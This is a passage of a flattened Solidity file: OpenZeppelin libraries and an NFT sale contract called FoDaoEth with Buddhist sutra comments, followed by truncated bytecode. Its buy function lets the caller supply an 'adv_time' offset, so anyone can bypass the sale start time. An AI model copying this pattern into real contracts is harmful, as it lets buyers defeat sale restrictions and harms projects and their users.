track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: contracts/fodao.sol /** * ལྟ་བ་དབང་ཕྱུག་རྗེ་བཙུན་སྒྲོལ་མ། ཉམས་ལེན་ཟབ་པའི་ཕ་རོལ་ཏུ་ཕྱིན་པ་ཕ་རོལ་ཏུ་ཕྱིན་པ་མང་བའི་དུས་ཀྱི་རྩོལ་བ་དམར་རྗེན་དུ་མངོན་པ་དང་ཕྱི་ནས་རྒྱལ་མཚམས་ཟུང་འབྲེལ་ཀུན་ཏུ་སྟོང་། ཚད་ཐམས་ཅད་སྡུག་བསྔལ་སྐེག */ pragma solidity >=0.4.22 <0.9.0; pragma experimental ABIEncoderV2; contract FoDaoEth is INft, Context, ERC165, IERC721, IERC721Metadata, Ownable { using Address for address; using Strings for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenIds; mapping (uint256 => TokenMeta) public tokenOnChainMeta; uint256 public current_supply = 0; // གི་ཞུན་ཐིགས། ཡོད་ཚད་སེམས་གྲིབ་མ་ཕན་ཚུན་མི་སྐྱེ་མི་ཆད་མེད་དྲེག་མི་གཙང་མི་ཇེ་ཉུང་དུ་མི་འགྲོ་བ། // 舍利子,是诸法空相,不生不灭,不垢不净,不增不减。 uint256 public MAX_SUPPLY = 3333; uint256 public current_sold = 0; string public baseURI; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) internal _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; uint public price; uint public buy_limit_per_address = 5; uint public sell_begin_time = 0; constructor(string memory name, string memory symbol, string memory baseUrl) { _name = name; _symbol = symbol; setBaseURI(baseUrl); } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setSupplies(uint _current_supply, uint _max_supply) public onlyOwner { require(_current_supply <= MAX_SUPPLY, "CAN_NOT_EXCEED_MAX_SUPPLY"); current_supply = _current_supply; MAX_SUPPLY = _max_supply; } function setNames(string memory name_, string memory symbol_) public onlyOwner { _name = name_; _symbol = symbol_; } function totalSupply() public override view returns(uint256) { return MAX_SUPPLY; } function supportsInterface(bytes4 interfaceId) public view override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view override returns (address) { address tokenOwner = _owners[tokenId]; return tokenOwner; } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view override returns (string memory) { return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function approve(address to, uint256 tokenId) public override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view returns (bool) { return ownerOf(tokenId) != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal { _mint(to, tokenId, true); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId, bool emitting) internal { require(to != address(0), "ERC721: mint to the zero address"); require(_owners[tokenId] == address(0), "ERC721: token already minted"); _balances[to] += 1; _owners[tokenId] = to; if (emitting) { emit Transfer(address(0), to, tokenId); } } function _transfer( address from, address to, uint256 tokenId ) internal { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function tokenMeta(uint256 _tokenId) public override view returns (TokenMeta memory) { return tokenOnChainMeta[_tokenId]; } function mintAndPricing(uint256 _num, uint256 _price, uint256 _limit, uint256 _time) public onlyOwner { uint supply = SafeMath.add(current_supply, _num); require(supply <= MAX_SUPPLY, "CAN_NOT_EXCEED_MAX_SUPPLY"); current_supply = supply; price = _price; buy_limit_per_address = _limit; sell_begin_time = _time; } function setTokenAsset(uint256 _tokenId, string memory _uri, string memory _hash, address _minter) public override onlyOwner { require(_exists(_tokenId), "Vsnft_setTokenAsset_notoken"); TokenMeta storage meta = tokenOnChainMeta[_tokenId]; meta.uri = _uri; meta.hash = _hash; meta.minter = _minter; tokenOnChainMeta[_tokenId] = meta; } function setSale(uint256 _tokenId, address _contractAddr, uint256[] memory _settings, address[] memory _addrs) public { require(_exists(_tokenId), "Vsnft_setTokenAsset_notoken"); address sender = _msgSender(); require(owner() == sender || ownerOf(_tokenId) == sender, "Invalid_Owner"); ISaleContract _contract = ISaleContract(_contractAddr); _contract.sale(_tokenId, _settings, _addrs); _transfer(sender, _contractAddr, _tokenId); } function increaseSoldTimes(uint256 /* _tokenId */) public override { } function getSoldTimes(uint256 _tokenId) public override view returns(uint256) { TokenMeta memory meta = tokenOnChainMeta[_tokenId]; return meta.soldTimes; } // གི་ཞུན་ཐིགས། ཁ་དོག་མི་ལོག་སྟོང་། སྟོང་བར་མི་ཁ་ཏོག་མི་འདྲ་བ། མདོག་སྟེ་སྟོང་བ། སྟོང་པ་ཉིད་གཟུགས་སོ་ཐེབས་པ་འདོད་བྱ་སྤྱོད་ས་རྒྱུ་ལས་མ་འདའོ། ། function buy(uint amount, uint adv_time) public payable { require(block.timestamp >= SafeMath.sub(sell_begin_time, adv_time), "Purchase_Not_Enabled"); require(SafeMath.add(balanceOf(msg.sender), amount) <= buy_limit_per_address, "Exceed_Purchase_Limit"); uint requiredValue = SafeMath.mul(amount, price); require(msg.value >= requiredValue, "Not_Enough_Payment"); require(current_supply >= SafeMath.add(current_sold, amount), "Not_Enough_Stock"); for (uint i = 0; i < amount; ++i) { _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); _mint(msg.sender, newItemId, true); TokenMeta memory meta = TokenMeta( newItemId, "", "", "", 1, owner()); tokenOnChainMeta[newItemId] = meta; } current_sold = SafeMath.add(current_sold, amount); } function withdraw() public onlyOwner { uint balance = address(this).balance; Address.sendValue(payable(owner()), balance); } }
0x60806040526004361061020f5760003560e01c80636aea5f1b1161011857806395d89b41116100a0578063c87b56dd1161006f578063c87b56dd146105d9578063d6febde8146105f9578063e985e9c51461060c578063f2fde38b14610655578063fe9080611461067557600080fd5b806395d89b411461056e578063a035b1fe14610583578063a22cb46514610599578063b88d4fde146105b957600080fd5b8063715018a6116100e7578063715018a6146104d35780637208616e146104e85780638da5cb5b1461051a57806391491cfd1461053857806391a3008b1461054e57600080fd5b80636aea5f1b146104685780636c0360eb1461047e5780636e24b49f1461049357806370a08231146104b357600080fd5b806332cb6b0c1161019b5780634fceba4d1161016a5780634fceba4d146103d257806355f804b3146103f25780635af94e7c1461041257806362eceb7e146104325780636352211e1461044857600080fd5b806332cb6b0c146103715780633ccfd60b1461038757806342842e0e1461039c578063482f11f3146103bc57600080fd5b8063095ea7b3116101e2578063095ea7b3146102c55780630ae7a310146102e557806318160ddd1461031257806323b872dd146103315780632abb934e1461035157600080fd5b806301ffc9a714610214578063030778001461024957806306fdde031461026b578063081812fc1461028d575b600080fd5b34801561022057600080fd5b5061023461022f366004612627565b610693565b60405190151581526020015b60405180910390f35b34801561025557600080fd5b50610269610264366004612713565b6106e5565b005b34801561027757600080fd5b50610280610826565b60405161024091906129e1565b34801561029957600080fd5b506102ad6102a83660046126fa565b6108b8565b6040516001600160a01b039091168152602001610240565b3480156102d157600080fd5b506102696102e03660046125fd565b610940565b3480156102f157600080fd5b506103056103003660046126fa565b610a56565b6040516102409190612acc565b34801561031e57600080fd5b506004545b604051908152602001610240565b34801561033d57600080fd5b5061026961034c366004612509565b610c9a565b34801561035d57600080fd5b5061026961036c366004612861565b610ccb565b34801561037d57600080fd5b5061032360045481565b34801561039357600080fd5b50610269610d4e565b3480156103a857600080fd5b506102696103b7366004612509565b610d94565b3480156103c857600080fd5b50610323600e5481565b3480156103de57600080fd5b506102696103ed366004612696565b610daf565b3480156103fe57600080fd5b5061026961040d366004612661565b610e00565b34801561041e57600080fd5b5061026961042d3660046127e3565b610e41565b34801561043e57600080fd5b5061032360055481565b34801561045457600080fd5b506102ad6104633660046126fa565b610fc4565b34801561047457600080fd5b5061032360035481565b34801561048a57600080fd5b50610280610fdf565b34801561049f57600080fd5b506102696104ae366004612883565b61106d565b3480156104bf57600080fd5b506103236104ce3660046124bb565b611107565b3480156104df57600080fd5b5061026961118e565b3480156104f457600080fd5b506105086105033660046126fa565b6111c4565b60405161024096959493929190612be9565b34801561052657600080fd5b506000546001600160a01b03166102ad565b34801561054457600080fd5b50610323600f5481565b34801561055a57600080fd5b506103236105693660046126fa565b61139b565b34801561057a57600080fd5b5061028061159d565b34801561058f57600080fd5b50610323600d5481565b3480156105a557600080fd5b506102696105b43660046125c1565b6115ac565b3480156105c557600080fd5b506102696105d4366004612545565b611671565b3480156105e557600080fd5b506102806105f43660046126fa565b6116a9565b610269610607366004612861565b611707565b34801561061857600080fd5b506102346106273660046124d6565b6001600160a01b039182166000908152600c6020908152604080832093909416825291909152205460ff1690565b34801561066157600080fd5b506102696106703660046124bb565b6119c8565b34801561068157600080fd5b506102696106903660046126fa565b50565b60006001600160e01b031982166380ac58cd60e01b14806106c457506001600160e01b03198216635b5e139f60e01b145b806106df57506301ffc9a760e01b6001600160e01b03198316145b92915050565b6106ee84611a60565b61073f5760405162461bcd60e51b815260206004820152601b60248201527f56736e66745f736574546f6b656e41737365745f6e6f746f6b656e000000000060448201526064015b60405180910390fd5b60005433906001600160a01b03168114806107735750806001600160a01b031661076886610fc4565b6001600160a01b0316145b6107af5760405162461bcd60e51b815260206004820152600d60248201526c24b73b30b634b22fa7bbb732b960991b6044820152606401610736565b60405163b8d006b960e01b815284906001600160a01b0382169063b8d006b9906107e190899088908890600401612b5a565b600060405180830381600087803b1580156107fb57600080fd5b505af115801561080f573d6000803e3d6000fd5b5050505061081e828688611a7d565b505050505050565b60606007805461083590612d2f565b80601f016020809104026020016040519081016040528092919081815260200182805461086190612d2f565b80156108ae5780601f10610883576101008083540402835291602001916108ae565b820191906000526020600020905b81548152906001019060200180831161089157829003601f168201915b5050505050905090565b60006108c382611a60565b6109245760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b6064820152608401610736565b506000908152600b60205260409020546001600160a01b031690565b600061094b82610fc4565b9050806001600160a01b0316836001600160a01b031614156109b95760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610736565b336001600160a01b03821614806109d557506109d58133610627565b610a475760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610736565b610a518383611c1d565b505050565b610a986040518060c00160405280600081526020016060815260200160608152602001606081526020016000815260200160006001600160a01b031681525090565b600260008381526020019081526020016000206040518060c001604052908160008201548152602001600182018054610ad090612d2f565b80601f0160208091040260200160405190810160405280929190818152602001828054610afc90612d2f565b8015610b495780601f10610b1e57610100808354040283529160200191610b49565b820191906000526020600020905b815481529060010190602001808311610b2c57829003601f168201915b50505050508152602001600282018054610b6290612d2f565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8e90612d2f565b8015610bdb5780601f10610bb057610100808354040283529160200191610bdb565b820191906000526020600020905b815481529060010190602001808311610bbe57829003601f168201915b50505050508152602001600382018054610bf490612d2f565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2090612d2f565b8015610c6d5780601f10610c4257610100808354040283529160200191610c6d565b820191906000526020600020905b815481529060010190602001808311610c5057829003601f168201915b5050509183525050600482015460208201526005909101546001600160a01b031660409091015292915050565b610ca43382611c8b565b610cc05760405162461bcd60e51b815260040161073690612a7b565b610a51838383611a7d565b6000546001600160a01b03163314610cf55760405162461bcd60e51b815260040161073690612a46565b600454821115610d435760405162461bcd60e51b815260206004820152601960248201527843414e5f4e4f545f4558434545445f4d41585f535550504c5960381b6044820152606401610736565b600391909155600455565b6000546001600160a01b03163314610d785760405162461bcd60e51b815260040161073690612a46565b47610690610d8e6000546001600160a01b031690565b82611d75565b610a5183838360405180602001604052806000815250611671565b6000546001600160a01b03163314610dd95760405162461bcd60e51b815260040161073690612a46565b8151610dec90600790602085019061229a565b508051610a5190600890602084019061229a565b6000546001600160a01b03163314610e2a5760405162461bcd60e51b815260040161073690612a46565b8051610e3d90600690602084019061229a565b5050565b6000546001600160a01b03163314610e6b5760405162461bcd60e51b815260040161073690612a46565b610e7484611a60565b610ec05760405162461bcd60e51b815260206004820152601b60248201527f56736e66745f736574546f6b656e41737365745f6e6f746f6b656e00000000006044820152606401610736565b600084815260026020818152604090922085519092610ee5928401919087019061229a565b508251610efb906003830190602086019061229a565b506005810180546001600160a01b0319166001600160a01b03841617905560008581526002602052604090208154815560018083018